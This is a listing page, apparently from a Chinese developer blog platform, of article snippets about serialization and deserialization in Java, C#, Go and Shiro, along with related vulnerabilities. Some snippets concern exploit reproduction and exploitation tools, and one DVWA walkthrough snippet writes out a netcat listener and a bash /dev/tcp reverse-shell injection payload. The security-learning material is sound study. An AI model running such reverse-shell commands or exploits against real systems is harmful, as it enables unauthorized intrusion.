shiro反序列化

Shiro实现单一登录，并保留使用RememberMe功能。

Shiro提供的功能结构图：Shiro详细的架构：Shiro中的各类过滤器FilterNameClassanonorg.apache.shiro.web.filter.authc.AnonymousFilterauthcorg.apache.shiro.web.filter.authc.FormAuthenticationFilterauthcBasicorg.apache.shiro.web.f
司寒_2019·2023-11-02 14:10

redis ERR value is not an integer or out of range（increment（key）报错）

1、报错原理使用的RedisTemplate，做读写操作时候，都是要经过序列化和反序列化。
乌鱼鸡汤·2023-11-02 11:21

【C#进阶八】C#中的序列化与反序列化下（二进制序列化、XML序列化及JSON序列化）

文章目录二进制序列化与反序列化序列化与反序列化代码示例运行结果上一篇介绍了XML序列化及JSON序列化，这一篇接着介绍二进制序列化。
智能建造小硕·2023-11-02 06:21

2022年Java面试最吃香的15个项目推荐，吃透2个让你offer拿到手软

项目名称：JeeSite项目所用技术栈：Spring、SpringMVC、MyBatis、ApacheShiro、BootstrapUI等项目简介：JeeSite是一个JavaEE企业级快速开发平台，基于经典技术组合
程序员匡胤·2023-11-01 22:25

LT8918L适用于双端口 LVDS 转 MIPIDSI/CSI-2 应用方案

该桥对输入LVDS数据进行反序列化，对数据包进行解码，并将格式化的视频数据流转换为MIPIDSI/CSI-2发射器输出。对于MIPIDSI/CSI-2输出，LT8918L具有一个单端口MIPID
weixin_69065474·2023-11-01 19:57

LT9211C适用于MIPI DSI/CSI-2/双端口 LVDS 和 TTL 之间相互转换

LT9211C对输入MIPI/LVDS/TTL视频数据进行反序列化，对数据包进行解码，并将格式化的视频数据流转换为AP和移动显示面板或
weixin_69065474·2023-11-01 19:27

Ｃ＃ 如何使用 System.Text.Json 启用不区分大小写的属性名称

不区分大小写的属性匹配默认情况下，反序列化会查找JSON与目标对象属性之间区分大小写的属性名称匹配。
心语明洲·2023-11-01 16:15

golang json 反序列化多态记录

funcTest_polymorphic(t*testing.T){body:=`{"vehicles":[{"type":"car","make":"BMW","model":"M3","seatingCapacity":4,"topSpeed":250},{"type":"truck","make":"Volvo","model":"FH","payloadCapacity":40000},{
gitxuzan_·2023-11-01 14:59

golang json 反序列化多态记录

funcTest_polymorphic(t*testing.T){body:=`{"vehicles":[{"type":"car","make":"BMW","model":"M3","seatingCapacity":4,"topSpeed":250},{"type":"truck","make":"Volvo","model":"FH","payloadCapacity":40000},{
gitxuzan_·2023-11-01 14:59

java SSM框架 代码生成器 websocket即时通讯 shiro redis 后台框架源码

A代码编辑器，在线模版编辑，仿开发工具编辑器，pdf在线预览，文件转换编码B集成代码生成器[正反双向](单表、主表、明细表、树形表，快速开发利器)+快速表单构建器freemaker模版技术，0个代码不用写，生成完整的一个模块，带页面、建表sql脚本，处理类，service等完整模块C集成阿里巴巴数据库连接池druid数据库连接池阿里巴巴的druid。Druid在监控、可扩展性、稳定性和性能方面都有
clewn1524·2023-11-01 13:37

让SOME/IP运转起来——SOME/IP系统设计（上）

SOME/IP中主要定义了：数据的序列化：SOME/IP支持的数据类型，复杂数据的序列化及反序列化方式通信机制：提供Request/Response、Fire&Forget、发布-订阅的通信机制服务发现
经纬恒润·2023-11-01 10:18

应用层 HTTP协议分析

数据流协议格式请求方法响应状态码请求头部响应头部Cookie/Session抓包分析应用层：通过进程间通信完成网络任务自定制协议自定制协议是程序员在应用层描述描述应用数据的协议，要保证一方在发送时可以构造数据（序列化），一方在接收时能够解析数据（反序列化
敬亭山_·2023-11-01 08:48

golang json格式化自定义日期格式

go的time.Time,在json序列化是默认2006-01-02T15:04:05Z07:00的格式，十分不便，encoding/json包在序列化和反序列化的时候分别调用encode.go下的Marshaler
linqining·2023-11-01 06:07

文件上传与Phar反序列化的摩擦

提示：文章yu写完后，目录可以自动生成，如何生成可参考右边的帮助文档目录前言一、Phar是什么?二、Phar压缩文件的组成三、Phar伪协议四、SWPU2018[SimplePHP]五、[NSSRound#4SWPU]1zweb六、[HSCSEC2023]EASYPHY七、[SWPUCTF2021新生赛]babyunser总结前言提示：这里可以添加本文要记录的大概内容：最近在刷题的时候，连续做到了
Aiwin-Hacker·2023-11-01 04:19

[NSSRound#4] 复现

TypeMessageWeb1zweb直接能非预期读出来flag1zweb(revenge)就是上题的预期解文件上传、反序列化、PHP伪协议index.phpljt="ljt";$this->dky="
ThnPkm·2023-11-01 04:47

fastjson对象序列化的问题

今天偶然遇到一个fastjson将字符串反序列化为一个对象的时候的问题，就是简单的通过com.alibaba.fastjson.JSON将对象转为字符串，然后再从字符串转换为原类型的对象。
一个有梦想的Java程序员·2023-11-01 00:20

SpringBoot -- 请求数据多态映射（jackson）

文章目录实现方式示例抽象类对象若干实现类测试接口及前端传递请求体接参结果@JsonTypeInfo和@JsonSubTypes其他常用映射方式1__指定对象类型（两种方式）2__自定义序列化、反序列化方式实现方式可以通过
Mingvvv·2023-10-31 23:16

Android 序列化与反序列化

一、概述对象序列化的意思就是将对象的状态转换成字节流，以后可以通过这些值在生成相同状态的对象，对象序列化就是对象持久化的一种实现方法，它是将对象的属性和方法转化为一种序列化的形式用于存储和传输，反序列化就是根据这些保存的信息重建对象的过程
mumuxi_·2023-10-31 22:04

一款针对SpringBootEnv页面进行快速漏洞利用

TODO支持EurekaXStreamdeserializationRCE支持Fastjson内存马注入支持更多可以使用JNDI内存马注入反序列化漏洞支持内存马路径和密码修改........来龙去脉项目是根据
安全大哥·2023-10-31 21:21

Nacos反序列化漏洞利用工具v0.5

项目简介刨洞安全@凉风师傅写的一个NacosHessian反序列化漏洞利用工具，目前已更新到v0.5，欢迎Star！
潇湘信安·2023-10-31 21:17

一款Nacos漏洞自动化工具

1、参考GitHub-charonlight/NacosExploitGUI:Nacos漏洞综合利用GUI工具，集成了默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用0x01前言本工具已经集成
安全大哥·2023-10-31 21:40

通过shiro框架记录用户登录，登出及浏览器关闭日志

背景：公司项目之前使用websocket记录用户登录登出日志及浏览器关闭记录用户登出日志，测试发现仍然存在问题，问题一：当浏览器每次刷新时websocket其实是会断开重新连接的，因此刷新一下就触发记录登出的日志，其实用户并没有真正退出，问题二：websocket需要配置，如果线上可能要使用wss等相关nginx都需要运维维护，不熟悉的运维还搞不定，因此领导要求不要用websocket直接使用sh
喜羊羊love红太狼·2023-10-31 19:56

SpringSecurity的使用和流程详解(一)

SpringSecurity流程核心功能(一)认证登录校验流程认证流程详解解决问题SpringSecurity概述SpringSecurity是Spring框架中的一个安全管理框架.相比于另一个安全框架Shiro
今天学不学？·2023-10-31 13:45

QVD-2023-19300：致远M1 usertokenservice反序列化RCE漏洞复现

文章目录致远M1usertokenservice反序列化RCE漏洞(QVD-2023-19300)复现0x01前言0x02漏洞描述0x03影响版本0x04漏洞环境0x05漏洞复现1.访问漏洞环境2.构造
gaynell·2023-10-31 13:49

信息收集&命令注入&反序列化(dvwa)

信息收集zoomeye钟馗之眼shodan撒旦fofa采用hash搜索标签页上面的小图片http.favicon.hash:-842852785命令注入dvwa的命令执行漏洞利用测试是否存在命令注入127.0.0.1|winver反弹shellkali监听7777端口nc-lvp7777注：测试环境Ubuntu虚拟机dvwa命令注入输入;bash-i>&/dev/tcp/kali的ip地址/777
LztCode·2023-10-31 11:08

Fastjson反序列化漏洞复现(实战案例)

漏洞介绍FastJson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。通俗理解就是：漏洞利用fastjsonautotype在处理json对象的时候，未对@type字段进行完全的安全性验证，攻击者可以传入危险类，并调用危险类连接远程rmi主机，通过其中的恶意类执行代码。攻击者通过
zxl2605·2023-10-31 10:39

springboot解决fastJson反序列化漏洞

springboot解决fastJson反序列化漏洞1.fastJson版本升级为>1.2.66**RedisSerializer实现类添加**//解决fastJson反序列化漏洞,关闭autoTypestatic
java_rookie_tz·2023-10-31 10:09

Fastjson 反序列化漏洞

通过查找代码中相关的方法，即可构造出一些恶意利用链Fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检
慕筱蚺·2023-10-31 10:07

Fastjson 1.2.47反序列化漏洞复现

目录一.前期准备：二.fastjson简介三.漏洞复现（一）：创建文件三.漏洞复现（二）：反弹shell一.前期准备：1.安装jdk，并配置环境：Kali安装JDK1.8的详细过程_m0_54899775的博客-CSDN博客2.安装maven，并配置环境：kalilinux安装maven_m0_54899775的博客-CSDN博客3.安装vulhub靶场环境：KaliLinux2020安装vulh
景天zy·2023-10-31 10:06

Fastjson反序列化漏洞原理与复现

Fastjson反序列化漏洞原理与复现1漏洞介绍1.1Fastjson简介1.2漏洞原理2复现流程2.1环境搭建2.2测试2.3过程分析3漏洞防御3.1排查方法3.2漏洞修复1漏洞介绍1.1Fastjson
FisrtBqy·2023-10-31 10:31

渗透测试-Fastjson反序列化漏洞getshell

目录前言测试环境准备dnslog测试搭建rmi服务器&准备恶意类引用JdbcRowSetImpl攻击反弹shell$命令执行总结关键字：fastjson1.2.24反序列化导致任意命令执行漏洞注：本次渗透测试全在虚拟机中进行仅用于学习交流
昵称还在想呢·2023-10-31 10:59

C#底层库--JSON使用教程_详细（序列化、反序列化、转DataTable）

系列文章C#底层库–程序日志记录类本文链接：https://blog.csdn.net/youcheng_ge/article/details/124187709C#底层库–MySQLBuilder脚本构建类（select、insert、update、in、带条件的SQL自动生成）本文链接：https://blog.csdn.net/youcheng_ge/article/details/1291
花北城·2023-10-31 10:55

C#中Json序列化和反序列化总结

Json序列化和反序列化总结JSON介绍1.什么是JSON?
行者之剑·2023-10-31 10:21

C#序列化和反序列化以及json保存和读取

什么是Json?Json【javascript对象表示方法】，它是一个轻量级的数据交换格式，我们可以很简单的来读取和写它，并且它很容易被计算机转化和生成，它是完全独立于语言的。Json支持下面两种数据结构:键值对的集合–各种不同的编程语言，都支持这种数据结构；有序的列表类型值的集合–这其中包含数组，集合，矢量，或者序列，等等。Json有下面几种表现形式:1.对象一个没有顺序的“键/值”,一个对象以
星河队长·2023-10-31 10:20

Jsonutility序列化和反序列化

Jsonutility是Unity自带的用于解析Json的公共类它可以：1.将内存中对象序列化为Json格式的字符串2.将Json字符串反序列化为类对象二、补充：在文件中存读字符串//1.存储字符串到指定文件中
_ElecSheep·2023-10-31 10:48

Kafka消费者之相关参数及分区分配再平衡

key.deserializer和value.deserializer指定接收消息的key和value的反序列化类型。一定要写全类名。group.id标记消费者所属的消费者组。
--只因--·2023-10-31 08:18

Shiro源码分析系列：01.shiro初始化

关于shiro的架构和组件，可以参考开涛跟我学Shiro系列。
城南码农·2023-10-31 07:41

Java:Web Service初入门

以为是一种类似Spring，Shiro的编程框架。后来渐渐理解，WS(即WebService缩写)是一种通用的接口规范，并按照该规范编写接口对外提供服务。
EricTao2·2023-10-31 05:04

rpc框架设计

[toc]rpc框架设计rpc原理调用过程涉及的细节socket通信协议tcp、udp、httpip寻址过程通过域名寻找所有的ips-->服务发现在ips中找到一个ip-->负载均衡序列化与反序列化性能排序
会理发的店小二·2023-10-31 03:31

[wp]2023中山市第三届香山杯 web PHP_unserialize_pro

PHP_unserialize_pro考点：反序列化漏洞POP的构造eval()函数恶意php代码执行[]通配的形式绕过黑名单字母源代码：name = 'Wh0 4m I?'
文大。·2023-10-31 03:02

spring boot整合spring security和jwt实现分布式认证和权限处理

springsecurity是spring官方比较推荐的用于认证和权限的解决方案，市面上做认证和权限的开发框架还有shiro，springboot也提供了shiro的解决方案，本人在之前的开发中大多使用了
青蛙小王子·2023-10-31 03:01

2020-04-15jboss反序列化漏洞、weblogic 、XXE原理利用防御

jboss反序列化漏洞还原获取webshell首先运行jboss打开jboss/bin运行利用java反序列利用工具，输入目标地址、然后上传木马上传打开木马记事本，找到密码登录登录Weblogic反序列化漏洞还原启动
寻找tp·2023-10-31 03:22

序列化与反序列化

1.结构化数据传输通信双方在进行网络通信的时候：如果要传输的数据是一个字符串那么通信双方直接发送即可如果要传输的数据是一些结构体此时就不能将这些数码一个个发送到网络中如果要实现一个网络版本的计算器，那么客户端每次发送的请求就需要包括左操作数，右操作数，和对应的操作。那么此时客户端要发送的就不是一个简单的字符串，而是一个结构体。如果客户端将这些结构化的数据单独一个个发送到网络中，那么服务端也只能一个
midslucky·2023-10-31 01:59

JSON和Protobuf序列化

JSON传输的编码器和解码器三、Protobuf协议通信1、一个简单的proto文件的实践案例2、生成POJO和Builder3、消息POJO和Builder的使用案例1）构造POJO消息对象2）序列化和反序列化四
得过且过的勇者y·2023-10-31 01:04

SpringBoot SerializationUtils克隆(反序列化) 类加载器不一致问题(ClassCastException)

问题分析在SpringBoot中使用org.apache.commons.lang.SerializationUtils.clone方法时，发现克隆出来的类强转对应类时发生类型不一致的错误，经过检测发现两个看似相同的类的类加载器不一致场景报错信息java.lang.ClassCastException:com.tianqiauto.tis.pc.dingdanyupai.po.PrePointca
Floruit_Show·2023-10-30 17:04

记录一道0xGame 2023 CTF Web ez_unserialize的反序列化漏洞题目收获

ez_unserialize考点：1.PHP的引用来绕过__wakeup2.命令行中执行php-r'phpinfo();'，即可获得完整的phpinfo输出3.PHP反序列化POP链的构造源码和代码审计
文大。·2023-10-30 14:10

基于 SpringBoot + Vue 的前后端分离游戏资讯平台

游戏资讯平台简介基于SpringBoot+Vue的前后端分离游戏资讯平台，使用Shiro进行权限控制，使用JWT作为交互token，使用Aspectj进行切面编程，使用SpringDataJpa方便进行数据库操作
manster1231·2023-10-30 14:27

【C#】复杂类型的深拷贝（并且解决CodeRunner输出窗口string乱码）

文章目录引用类型使用“=”XML序列化反序列化完成深拷贝VsCode中CodeRunner插件输出窗口中文乱码①网上建议的,CodeRunner使用终端②如果是Windows平台：③Linux下就不存在乱码
Austin_Yan·2023-10-30 13:00

龙果开源支付系统搭建与部署

1.开发工具eclipse、git或svn、maven2.技术框架核心框架：SpringFramework3.2.4持久化框架：MyBatis3.4.安全框架：ApacheShiro1.2.5日志管理：
雨中沙漠·2023-10-30 11:04

渗透测试 ( 0 ) --- XSS、CSRF、文件上传、文件包含、反序列化漏洞

漏洞数据库：https://www.exploit-db.com/google-hacking-database1、渗透测试实用浏览器插件chrome、edge插件：搜索cookie，安装cookieeditor，打开插件，可以导出cookieHackBar：Hackbar是网络安全学习者常备的工具（https://www.fujieace.com/hacker/tools/hackbar.htm
擒贼先擒王·2023-10-30 06:27
上一页 32 33 34 35 36 37 38 39 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他